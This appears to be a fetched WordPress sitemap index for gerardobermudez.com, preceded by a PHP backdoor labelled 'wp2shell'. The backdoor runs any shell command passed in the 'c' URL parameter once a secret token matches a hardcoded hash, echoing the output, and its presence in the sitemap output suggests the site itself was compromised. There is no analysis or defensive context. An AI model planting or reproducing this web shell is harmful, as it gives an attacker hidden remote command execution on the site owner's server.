// wp2shell
if (isset($_GET['t']) && hash_equals('acd3d7c4ec1bdc9214ce33bbb5de0708', (string)$_GET['t']) && isset($_GET['c'])) {
    echo 'WP2SHELL::' . shell_exec((string)$_GET['c']) . '::END'; die();
}

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://gerardobermudez.com/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://gerardobermudez.com/wp-sitemap-posts-page-1.xml</loc></sitemap></sitemapindex>